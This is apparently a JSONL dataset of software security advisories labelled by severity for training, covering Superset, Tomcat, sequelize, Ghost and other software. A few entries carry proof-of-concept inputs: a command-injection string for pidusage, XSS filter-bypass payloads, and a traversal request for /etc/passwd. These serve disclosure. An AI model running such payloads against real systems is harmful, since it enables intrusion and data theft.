-{"id": "555f3c8cdef43bdb1682", "text": "Open Redirect in Apache Superset\n\nApache Superset prior to 1.1.0 allowed for the creation of an external URL that could be malicious. By not checking user input for open redirects the URL shortener functionality would allow for a malicious user to create a short URL for a dashboard that could convince the user to click the link.", "text_raw": "Open Redirect in Apache Superset\n\n[Severity: MEDIUM]\n\nApache Superset prior to 1.1.0 allowed for the creation of an external URL that could be malicious. By not checking user input for open redirects the URL shortener functionality would allow for a malicious user to create a short URL for a dashboard that could convince the user to click the link.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-06", "split": "train"}
-{"id": "2ec739ded7ae098b3016", "text": "Exposure of Sensitive Information to an Unauthorized Actor in Apache syncope-cope\n\nAn administrator with user search entitlements in Apache Syncope 1.2.x before 1.2.11 and 2.0.x before 2.0.8 can recover sensitive security values using the fiql and orderby parameters.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in Apache syncope-cope\n\n[Severity: MEDIUM]\n\nAn administrator with user search entitlements in Apache Syncope 1.2.x before 1.2.11 and 2.0.x before 2.0.8 can recover sensitive security values using the fiql and orderby parameters.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-06", "split": "train"}
-{"id": "27c9077c035c983aa7a6", "text": "Incorrect Authorization with specially crafted requests\n\nEnvoy, which Pomerium is based on, contains two authorization related vulnerabilities:\n\n- [CVE-2021-32777](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32779): incorrectly transform a URL containing a `#fragment` element, causing a mismatch in path-prefix based authorization decisions.\n- [CVE-2021-32779](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32777): incorrectly handle duplicate headers, dropping all but the last.  This may lead to incorrect routing or authorization policy decisions.\n\n### Impact\nWith specially crafted requests, incorrect authorization or routing decisions may be made by Pomerium.\n\n### Patches\n\nPomerium v0.14.8 and v0.15.1 contain an upgraded envoy binary with these vulnerabilities patched.\n\n### Workarounds\n\n- This issue can only be triggered when using path prefix based policy.  Removing any such policies should provide mitigation.\n\n### References\n[envoy GSA CVE-2021-32777](https://github.com/envoyproxy/envoy/security/advisories/GHSA-r222-74fw-jqr9)\n[envoy GSA CVE-2021-32779](https://github.com/envoyproxy/envoy/security/advisories/GHSA-6g4j-5vrw-2m8h)\n[envoy announcement](https://groups.google.com/g/envoy-announce/c/5xBpsEZZDfE/m/wD05NZBbAgAJ)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [pomerium/pomerium](https://github.com/pomerium/pomerium/issues)\n* Email us at [security@pomerium.com](mailto:security@pomerium.com)", "text_raw": "Incorrect Authorization with specially crafted requests\n\n[Severity: HIGH]\n\nEnvoy, which Pomerium is based on, contains two authorization related vulnerabilities:\n\n- [CVE-2021-32777](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32779): incorrectly transform a URL containing a `#fragment` element, causing a mismatch in path-prefix based authorization decisions.\n- [CVE-2021-32779](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32777): incorrectly handle duplicate headers, dropping all but the last.  This may lead to incorrect routing or authorization policy decisions.\n\n### Impact\nWith specially crafted requests, incorrect authorization or routing decisions may be made by Pomerium.\n\n### Patches\n\nPomerium v0.14.8 and v0.15.1 contain an upgraded envoy binary with these vulnerabilities patched.\n\n### Workarounds\n\n- This issue can only be triggered when using path prefix based policy.  Removing any such policies should provide mitigation.\n\n\n### References\n[envoy GSA CVE-2021-32777](https://github.com/envoyproxy/envoy/security/advisories/GHSA-r222-74fw-jqr9)\n[envoy GSA CVE-2021-32779](https://github.com/envoyproxy/envoy/security/advisories/GHSA-6g4j-5vrw-2m8h)\n[envoy announcement](https://groups.google.com/g/envoy-announce/c/5xBpsEZZDfE/m/wD05NZBbAgAJ)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [pomerium/pomerium](https://github.com/pomerium/pomerium/issues)\n* Email us at [security@pomerium.com](mailto:security@pomerium.com)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-10", "split": "train"}
-{"id": "c06ebcccec0997d2cc17", "text": "Improper Neutralization of Formula Elements in a CSV File in pimcore/pimcore\n\n### Impact\nData Object CSV import allows formular injection.\n\n### Patches\nProblem is patched in 10.1.1\n\n### Workarounds\nApply https://github.com/pimcore/pimcore/pull/9992.patch\n\n### References\nhttps://cwe.mitre.org/data/definitions/1236.html", "text_raw": "Improper Neutralization of Formula Elements in a CSV File in pimcore/pimcore\n\n[Severity: MEDIUM]\n\n### Impact\nData Object CSV import allows formular injection. \n\n### Patches\nProblem is patched in 10.1.1\n\n### Workarounds\nApply https://github.com/pimcore/pimcore/pull/9992.patch\n\n### References\nhttps://cwe.mitre.org/data/definitions/1236.html\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "53c518711f1099e1ebc0", "text": "Potential infinite loop in Pillow\n\nAn issue was discovered in Pillow before 8.2.0. For FLI data, FliDecode did not properly check that the block advance was non-zero, potentially leading to an infinite loop on load.", "text_raw": "Potential infinite loop in Pillow\n\n[Severity: HIGH]\n\nAn issue was discovered in Pillow before 8.2.0. For FLI data, FliDecode did not properly check that the block advance was non-zero, potentially leading to an infinite loop on load.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "39ac9f9e09fe04d48354", "text": "ordered_float:NotNan may contain NaN after panic in assignment operators\n\nAfter using an assignment operators such as NotNan::add_assign, NotNan::mul_assign, etc., it was possible for the resulting NotNan value to contain a NaN. This could cause undefined behavior in safe code, because the safe NotNan::cmp method contains internal unsafe code that assumes the value is never NaN. (It could also cause undefined behavior in third-party unsafe code that makes the same assumption, as well as logic errors in safe code.)\n\nThis was mitigated starting in version 0.4.0, by panicking if the assigned value is NaN. However, in affected versions from 0.4.0 onward, code that uses the NotNan value during unwinding, or that continues after catching the panic, could still observe the invalid value and trigger undefined behavior.\n\nThe flaw is fully corrected in versions 1.1.1 and 2.0.1, by ensuring that the assignment operators panic without modifying the operand, if the result would be NaN.", "text_raw": "ordered_float:NotNan may contain NaN after panic in assignment operators\n\n[Severity: MEDIUM]\n\nAfter using an assignment operators such as NotNan::add_assign, NotNan::mul_assign, etc., it was possible for the resulting NotNan value to contain a NaN. This could cause undefined behavior in safe code, because the safe NotNan::cmp method contains internal unsafe code that assumes the value is never NaN. (It could also cause undefined behavior in third-party unsafe code that makes the same assumption, as well as logic errors in safe code.)\n\nThis was mitigated starting in version 0.4.0, by panicking if the assigned value is NaN. However, in affected versions from 0.4.0 onward, code that uses the NotNan value during unwinding, or that continues after catching the panic, could still observe the invalid value and trigger undefined behavior.\n\nThe flaw is fully corrected in versions 1.1.1 and 2.0.1, by ensuring that the assignment operators panic without modifying the operand, if the result would be NaN.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "6f790ce63cce8b10727f", "text": "ECOA Building Automation System Local File Disclosure Vulnerability", "text_raw": "ECOA Building Automation System Local File Disclosure Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-09-09", "split": "train"}
-{"id": "209cf2212b50cfbfb61d", "text": "When running Apache Tomcat on Windows with HTTP PUTs enabled it was possible to upload a JSP file to the server\n\nWhen running Apache Tomcat 7.0.0 to 7.0.79 on Windows with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.", "text_raw": "When running Apache Tomcat on Windows with HTTP PUTs enabled it was possible to upload a JSP file to the server\n\n[Severity: HIGH]\n\nWhen running Apache Tomcat 7.0.0 to 7.0.79 on Windows with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "cfca9e3e2404c2181ab4", "text": "Command Injection in pidusage\n\nAffected versions of `pidusage` pass unsanitized input to `child_process.exec()`, resulting in arbitrary code execution in the `ps` method.\n\nThis package is vulnerable to this PoC on Darwin, SunOS, FreeBSD, and AIX.\n\nWindows and Linux are not vulnerable.\n\n## Proof of Concept\n```\nvar pid = require('pidusage');\npid.stat('1 && /usr/local/bin/python');\n```\n\n## Recommendation\n\nUpdate to version 1.1.5 or later.", "text_raw": "Command Injection in pidusage\n\n[Severity: CRITICAL]\n\nAffected versions of `pidusage` pass unsanitized input to `child_process.exec()`, resulting in arbitrary code execution in the `ps` method.\n \nThis package is vulnerable to this PoC on Darwin, SunOS, FreeBSD, and AIX.\n\nWindows and Linux are not vulnerable. \n\n## Proof of Concept\n```\nvar pid = require('pidusage');\npid.stat('1 && /usr/local/bin/python');\n```\n\n\n## Recommendation\n\nUpdate to version 1.1.5 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "d2734dc3f4249a85fef1", "text": "Cryptographically Weak PRNG in generate-password\n\nAffected versions of generate-password generate random values that are biased towards certain characters depending on the chosen character sets. This may result in guessable passwords.\n\n## Recommendation\n\nUpdate to version 1.4.1 or later.", "text_raw": "Cryptographically Weak PRNG in generate-password\n\n[Severity: MEDIUM]\n\nAffected versions of generate-password generate random values that are biased towards certain characters depending on the chosen character sets. This may result in guessable passwords.\n\n\n## Recommendation\n\nUpdate to version 1.4.1 or later.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-23", "split": "train"}
-{"id": "d5394299f2b9e12fa812", "text": "Code Injection in total.js\n\nTotal.js framework (npm package total.js) is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. In total.js framework before version 3.4.9, calling the utils.set function with user-controlled values leads to code-injection. This can cause a variety of impacts that include arbitrary code execution. This is fixed in version 3.4.9.", "text_raw": "Code Injection in total.js\n\n[Severity: HIGH]\n\nTotal.js framework (npm package total.js) is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. In total.js framework before version 3.4.9, calling the utils.set function with user-controlled values leads to code-injection. This can cause a variety of impacts that include arbitrary code execution. This is fixed in version 3.4.9.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "8d3656ba1f829f8394bf", "text": "Multiple XSS Filter Bypasses in validator\n\nVersions of `validator` prior to 1.1.0 are affected by several cross-site scripting vulnerabilities due to bypasses discovered in the blacklist-based filter.\n\n## Proof of Concept\nVarious inputs that could bypass the filter were discovered:\n\nImproper parsing of nested tags:\n\n```\n<s <onmouseover=\"alert(1)\"> <;s onmouseover=\"alert(1)\">This is a test</s>\n```\n\nIncomplete filtering of javascript: URIs:\n\n```\n<a href=\"javascriptJ a V a S c R iPt::alert(1)\" \"<s>\">test</a>\n```\n\nUI Redressing:\n\n```\n<div style=\"z-index: 9999999; background-color: green; width: 100%; height: 100%\">\n<h1>You have won</h1>Please click the link and enter your login details:\n<a href=\"http://example.com/\">http://good.com</a>\n</div>\n```\n\nBypass via Nested Forbidden Strings:\n\n```\n<scrRedirecRedirect 302t 302ipt type=\"text/javascript\">prompt(1);</scrRedirecRedirect 302t 302ipt>\n```\n\nAdditional bypasses were discovered by Krzysztof Kotowicz in 2012 when auditing CodeIgniter's XSS filtering function, which this code was based off of.\n\n## Recommendation\n\nIf you are a developer currently using the xss filter function from the validator package, you should consider replacing it with the escape filter function from the same package. This function replaces all instances of angle brackets (<, >), ampersands, and quotation marks, so no HTML tags will be processed.", "text_raw": "Multiple XSS Filter Bypasses in validator\n\n[Severity: MEDIUM]\n\nVersions of `validator` prior to 1.1.0 are affected by several cross-site scripting vulnerabilities due to bypasses discovered in the blacklist-based filter.\n\n\n## Proof of Concept\nVarious inputs that could bypass the filter were discovered:\n\nImproper parsing of nested tags:\n\n```\n<s <onmouseover=\"alert(1)\"> <;s onmouseover=\"alert(1)\">This is a test</s>\n```\n\nIncomplete filtering of javascript: URIs:\n\n```\n<a href=\"javascriptJ a V a S c R iPt::alert(1)\" \"<s>\">test</a>\n```\n\nUI Redressing:\n\n```\n<div style=\"z-index: 9999999; background-color: green; width: 100%; height: 100%\">\n<h1>You have won</h1>Please click the link and enter your login details:\n<a href=\"http://example.com/\">http://good.com</a>\n</div>\n```\n\nBypass via Nested Forbidden Strings:\n\n```\n<scrRedirecRedirect 302t 302ipt type=\"text/javascript\">prompt(1);</scrRedirecRedirect 302t 302ipt>\n```\n\nAdditional bypasses were discovered by Krzysztof Kotowicz in 2012 when auditing CodeIgniter's XSS filtering function, which this code was based off of.\n\n\n## Recommendation\n\nIf you are a developer currently using the xss filter function from the validator package, you should consider replacing it with the escape filter function from the same package. This function replaces all instances of angle brackets (<, >), ampersands, and quotation marks, so no HTML tags will be processed.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "d98d52f06460fc31d98a", "text": "Remote Code Execution in Apache Dubbo\n\nApache Dubbo supports various rules to support configuration override or traffic routing (called routing in Dubbo). These rules are loaded into the configuration center (eg: Zookeeper, Nacos, ...) and retrieved by the customers when making a request in order to find the right endpoint. When parsing these YAML rules, Dubbo customers will use SnakeYAML library to load the rules which by default will enable calling arbitrary constructors. An attacker with access to the configuration center he will be able to poison the rule so when retrieved by the consumers, it will get RCE on all of them. This was fixed in Dubbo 2.7.13, 3.0.2", "text_raw": "Remote Code Execution in Apache Dubbo\n\n[Severity: HIGH]\n\nApache Dubbo supports various rules to support configuration override or traffic routing (called routing in Dubbo). These rules are loaded into the configuration center (eg: Zookeeper, Nacos, ...) and retrieved by the customers when making a request in order to find the right endpoint. When parsing these YAML rules, Dubbo customers will use SnakeYAML library to load the rules which by default will enable calling arbitrary constructors. An attacker with access to the configuration center he will be able to poison the rule so when retrieved by the consumers, it will get RCE on all of them. This was fixed in Dubbo 2.7.13, 3.0.2", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "559c30e8e61ed2fc5147", "text": "mde ejs vulnerable to XSS\n\nnodejs ejs version older than 2.5.5 is vulnerable to a Cross-site-scripting in the `ejs.renderFile()` resulting in code injection", "text_raw": "mde ejs vulnerable to XSS\n\n[Severity: MEDIUM]\n\nnodejs ejs version older than 2.5.5 is vulnerable to a Cross-site-scripting in the `ejs.renderFile()` resulting in code injection", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-11-30", "split": "train"}
-{"id": "5b308e7fa598c0a232ff", "text": "Zortam MP3 Media Studio 9.40 Multiple Memory Corruption Vulnerabilities", "text_raw": "Zortam MP3 Media Studio 9.40 Multiple Memory Corruption Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2009-07-16", "split": "train"}
-{"id": "57426b85fe171fe247d0", "text": "Missing Authorization in Jenkins S3 publisher Plugin\n\nJenkins S3 publisher Plugin prior to 0.11.7 and 0.11.5.1 does not perform Run/Artifacts permission checks in various HTTP endpoints and API models.\n\nThis allows attackers with Item/Read permission to obtain information about artifacts uploaded to S3, if the optional Run/Artifacts permission is enabled.\n\nJenkins S3 publisher Plugin 0.11.7 and 0.11.5.1 requires Run/Artifacts permission to obtain information about artifacts if this permission is enabled.", "text_raw": "Missing Authorization in Jenkins S3 publisher Plugin\n\n[Severity: MEDIUM]\n\nJenkins S3 publisher Plugin prior to 0.11.7 and 0.11.5.1 does not perform Run/Artifacts permission checks in various HTTP endpoints and API models.\n\nThis allows attackers with Item/Read permission to obtain information about artifacts uploaded to S3, if the optional Run/Artifacts permission is enabled.\n\nJenkins S3 publisher Plugin 0.11.7 and 0.11.5.1 requires Run/Artifacts permission to obtain information about artifacts if this permission is enabled.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "eff1d1af0601b5d3dfd8", "text": "Jupyter Notebook open redirect vulnerability\n\nIn Jupyter Notebook before 5.7.8, an open redirect can occur via an empty netloc. This issue exists because of an incomplete fix for CVE-2019-10255.", "text_raw": "Jupyter Notebook open redirect vulnerability\n\n[Severity: MEDIUM]\n\nIn Jupyter Notebook before 5.7.8, an open redirect can occur via an empty netloc. This issue exists because of an incomplete fix for CVE-2019-10255.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-09", "split": "train"}
-{"id": "43ba0e56105523052b30", "text": "Regular Expression Denial of Service in hosted-git-info\n\nThe npm package `hosted-git-info` before 3.0.8 are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity", "text_raw": "Regular Expression Denial of Service in hosted-git-info\n\n[Severity: MEDIUM]\n\nThe npm package `hosted-git-info` before 3.0.8 are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "a0a8302b11958f83d13e", "text": "Improper Certificate Validation in blackduck\n\nSynopsys hub-rest-api-python (aka blackduck on PyPI) version 0.0.25 - 0.0.52 does not validate SSL certificates in certain cases.", "text_raw": "Improper Certificate Validation in blackduck\n\n[Severity: HIGH]\n\nSynopsys hub-rest-api-python (aka blackduck on PyPI) version 0.0.25 - 0.0.52 does not validate SSL certificates in certain cases.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "3c886cc75cbf81d65ddd", "text": "SQL Injection in sequelize\n\nAffected versions of `sequelize` are vulnerable to SQL Injection. The package fails to sanitize JSON path keys in the MariaDB and MySQL dialects,  which may allow attackers to inject SQL statements and execute arbitrary SQL queries.\n\n## Recommendation\n\nIf you are using `sequelize` 5.x, upgrade to version 5.8.11 or later.\nIf you are using `sequelize` 4.x, upgrade to version 4.44.3 or later.\nIf you are using `sequelize` 3.x, upgrade to version 3.35.1 or later.", "text_raw": "SQL Injection in sequelize\n\n[Severity: CRITICAL]\n\nAffected versions of `sequelize` are vulnerable to SQL Injection. The package fails to sanitize JSON path keys in the MariaDB and MySQL dialects,  which may allow attackers to inject SQL statements and execute arbitrary SQL queries.\n\n\n## Recommendation\n\nIf you are using `sequelize` 5.x, upgrade to version 5.8.11 or later.\nIf you are using `sequelize` 4.x, upgrade to version 4.44.3 or later.\nIf you are using `sequelize` 3.x, upgrade to version 3.35.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-11-06", "split": "train"}
-{"id": "0bdc9b1e5dcda0ab9908", "text": "Privilege escalation: all users can access Admin-level API keys\n\n### Impact\nAn error in the implementation of the limits service in 4.0.0 allows all authenticated users (including contributors) to view admin-level API keys via the integrations API endpoint, leading to a privilege escalation vulnerability.\n\nGhost(Pro) has already been patched. Self-hosters are impacted if running Ghost a version between 4.0.0 and 4.9.4. Immediate action should be taken to secure your site - see patches & workarounds below.\n\nIt is highly recommended to regenerate all API keys after patching or applying the workaround below.\n\n### Patches\nFixed in 4.10.0, all 4.x sites should upgrade as soon as possible.\n\n### Workarounds\n- Disable all non-Administrator accounts to prevent API access.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* email us at security@ghost.org\n\n---\nCredits: Aden Yap Chuen Zhen, BAE Systems Applied Intelligence (Malaysia)", "text_raw": "Privilege escalation: all users can access Admin-level API keys\n\n[Severity: MEDIUM]\n\n### Impact\nAn error in the implementation of the limits service in 4.0.0 allows all authenticated users (including contributors) to view admin-level API keys via the integrations API endpoint, leading to a privilege escalation vulnerability.\n\nGhost(Pro) has already been patched. Self-hosters are impacted if running Ghost a version between 4.0.0 and 4.9.4. Immediate action should be taken to secure your site - see patches & workarounds below.\n\nIt is highly recommended to regenerate all API keys after patching or applying the workaround below.\n\n### Patches\nFixed in 4.10.0, all 4.x sites should upgrade as soon as possible.\n\n### Workarounds\n- Disable all non-Administrator accounts to prevent API access.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* email us at security@ghost.org\n\n---\nCredits: Aden Yap Chuen Zhen, BAE Systems Applied Intelligence (Malaysia)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-22", "split": "train"}
-{"id": "f03a4513b684abb25dfe", "text": "Directory Traversal in fast-http-cli\n\n`fast-http-cli` is the command line interface for `fast-http`, a simple web server.\n\n`fast-http-cli` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the url.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost: localhost\n```\n and server Response:\n```http\nHTTP/1.1 200 OK\nDate: Thu, 04 May 2017 23:59:18 GMT\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n{contents of /etc/passwd}\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in fast-http-cli\n\n[Severity: HIGH]\n\n`fast-http-cli` is the command line interface for `fast-http`, a simple web server.\n\n`fast-http-cli` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the url.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost: localhost\n```\n and server Response:\n```http\nHTTP/1.1 200 OK\nDate: Thu, 04 May 2017 23:59:18 GMT\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "8890c2b775ca7885299b", "text": "Code injection in spring-cloud-netflix-hystrix-dashboard\n\nApplications using the `spring-cloud-netflix-hystrix-dashboard` expose a way to execute code submitted within the request URI path during the resolution of view templates. When a request is made at `/hystrix/monitor;[user-provided data]`, the path elements following `hystrix/monitor` are being evaluated as SpringEL expressions, which can lead to code execution.", "text_raw": "Code injection in spring-cloud-netflix-hystrix-dashboard\n\n[Severity: HIGH]\n\nApplications using the `spring-cloud-netflix-hystrix-dashboard` expose a way to execute code submitted within the request URI path during the resolution of view templates. When a request is made at `/hystrix/monitor;[user-provided data]`, the path elements following `hystrix/monitor` are being evaluated as SpringEL expressions, which can lead to code execution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "1ad8e91ba5a39f2772e4", "text": "Prototype Pollution\n\nAll versions of `utils-extend` are vulnerable to prototype pollution. The `extend` function does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Prototype Pollution\n\n[Severity: HIGH]\n\nAll versions of `utils-extend` are vulnerable to prototype pollution. The `extend` function does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "857e15d0331c60a657fd", "text": "Improper Authentication in org.apache.hive:hive, org.apache.hive:hive-exec, and org.apache.hive:hive-service\n\nThe LDAP implementation in HiveServer2 in Apache Hive before 1.0.1 and 1.1.x before 1.1.1, as used in IBM InfoSphere BigInsights 3.0, 3.0.0.1, and 3.0.0.2 and other products, mishandles simple unauthenticated and anonymous bind configurations, which allows remote attackers to bypass authentication via a crafted LDAP request.", "text_raw": "Improper Authentication in org.apache.hive:hive, org.apache.hive:hive-exec, and org.apache.hive:hive-service\n\n[Severity: HIGH]\n\nThe LDAP implementation in HiveServer2 in Apache Hive before 1.0.1 and 1.1.x before 1.1.1, as used in IBM InfoSphere BigInsights 3.0, 3.0.0.1, and 3.0.0.2 and other products, mishandles simple unauthenticated and anonymous bind configurations, which allows remote attackers to bypass authentication via a crafted LDAP request.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-14", "split": "train"}
-{"id": "aefb87c4d322ceb165ae", "text": "Code injection in ansible\n\nAn exploitable vulnerability exists in the yaml loading functionality of ansible-vault before 1.0.5. A specially crafted vault can execute arbitrary python commands resulting in command execution. An attacker can insert python into the vault to trigger this vulnerability.", "text_raw": "Code injection in ansible\n\n[Severity: HIGH]\n\nAn exploitable vulnerability exists in the yaml loading functionality of ansible-vault before 1.0.5. A specially crafted vault can execute arbitrary python commands resulting in command execution. An attacker can insert python into the vault to trigger this vulnerability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-13", "split": "train"}
-{"id": "5124d80496f32dc63e54", "text": "Lack of access control on upoaded files\n\nSilverStripe through 4.3.3 has incorrect access control for protected files uploaded via Upload::loadIntoFile(). An attacker may be able to guess a filename in silverstripe/assets via the AssetControlExtension.", "text_raw": "Lack of access control on upoaded files\n\n[Severity: MEDIUM]\n\nSilverStripe through 4.3.3 has incorrect access control for protected files uploaded via Upload::loadIntoFile(). An attacker may be able to guess a filename in silverstripe/assets via the AssetControlExtension.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-12", "split": "train"}
-{"id": "852bb262ba6ac6629c1b", "text": "Duplicate Advisory: Regular Expression Denial of Service in simple-markdown\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-gpvj-gp8c-c7p2. This link is maintained to preserve external references.\n\n## Original Description\n\nVersions of `simple-markdown` prior to 0.5.2 are vulnerable to Regular Expression Denial of Service (ReDoS). The `SimpleMarkdown.defaultInlineParse()` function has significantly degraded performance when parsing inline code blocks.\n\n## Recommendation\n\nUpgrade to version 0.5.2 or later.", "text_raw": "Duplicate Advisory: Regular Expression Denial of Service in simple-markdown\n\n[Severity: MEDIUM]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-gpvj-gp8c-c7p2. This link is maintained to preserve external references.\n\n## Original Description\n\nVersions of `simple-markdown` prior to 0.5.2 are vulnerable to Regular Expression Denial of Service (ReDoS). The `SimpleMarkdown.defaultInlineParse()` function has significantly degraded performance when parsing inline code blocks.\n\n\n## Recommendation\n\nUpgrade to version 0.5.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "220a9c34c878d2672e51", "text": "WampServer 2.0i (index.php) Remote Cross Site Scripting Vulnerability", "text_raw": "WampServer 2.0i (index.php) Remote Cross Site Scripting Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2010-02-22", "split": "train"}
-{"id": "12235499ea8e237b9d61", "text": "Cross-Site Scripting in Fluid view helpers\n\n### Problem\nIt has been discovered that system extension Fluid (`typo3/cms-fluid`) of the TYPO3 core is vulnerable to cross-site scripting passing user-controlled data as argument to Fluid view helpers.\n\n```\n<f:form ... fieldNamePrefix=\"{payload}\" />\n<f:be.labels.csh ... label=\"{payload}\" />\n<f:be.menus.actionMenu ... label=\"{payload}\" />\n```\n\n### Solution\nUpdate to TYPO3 versions 9.5.23 or 10.4.10 that fix the problem described.\n\n### Credits\nThanks to TYPO3 security team member Oliver Hader who reported this issue and to TYPO3 security team members Helmut Hummel & Oliver Hader who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2020-010](https://typo3.org/security/advisory/typo3-core-sa-2020-010)", "text_raw": "Cross-Site Scripting in Fluid view helpers\n\n[Severity: MEDIUM]\n\n> ### Meta\n> * CVSS: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:F/RL:O/RC:C` (5.7)\n> * CWE-79\n\n### Problem\nIt has been discovered that system extension Fluid (`typo3/cms-fluid`) of the TYPO3 core is vulnerable to cross-site scripting passing user-controlled data as argument to Fluid view helpers.\n\n```\n<f:form ... fieldNamePrefix=\"{payload}\" />\n<f:be.labels.csh ... label=\"{payload}\" />\n<f:be.menus.actionMenu ... label=\"{payload}\" />\n```\n\n### Solution\nUpdate to TYPO3 versions 9.5.23 or 10.4.10 that fix the problem described.\n\n### Credits\nThanks to TYPO3 security team member Oliver Hader who reported this issue and to TYPO3 security team members Helmut Hummel & Oliver Hader who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2020-010](https://typo3.org/security/advisory/typo3-core-sa-2020-010)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-21", "split": "train"}
-{"id": "1a738f57c21ab2122556", "text": "Improper network isolation in Hashicorp Nomad\n\nHashiCorp Nomad and Nomad Enterprise up to version 1.0.4 bridge networking mode allows ARP spoofing from other bridged tasks on the same node. Fixed in 0.12.12, 1.0.5, and 1.1.0 RC1.", "text_raw": "Improper network isolation in Hashicorp Nomad\n\n[Severity: MEDIUM]\n\nHashiCorp Nomad and Nomad Enterprise up to version 1.0.4 bridge networking mode allows ARP spoofing from other bridged tasks on the same node. Fixed in 0.12.12, 1.0.5, and 1.1.0 RC1.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-24", "split": "train"}
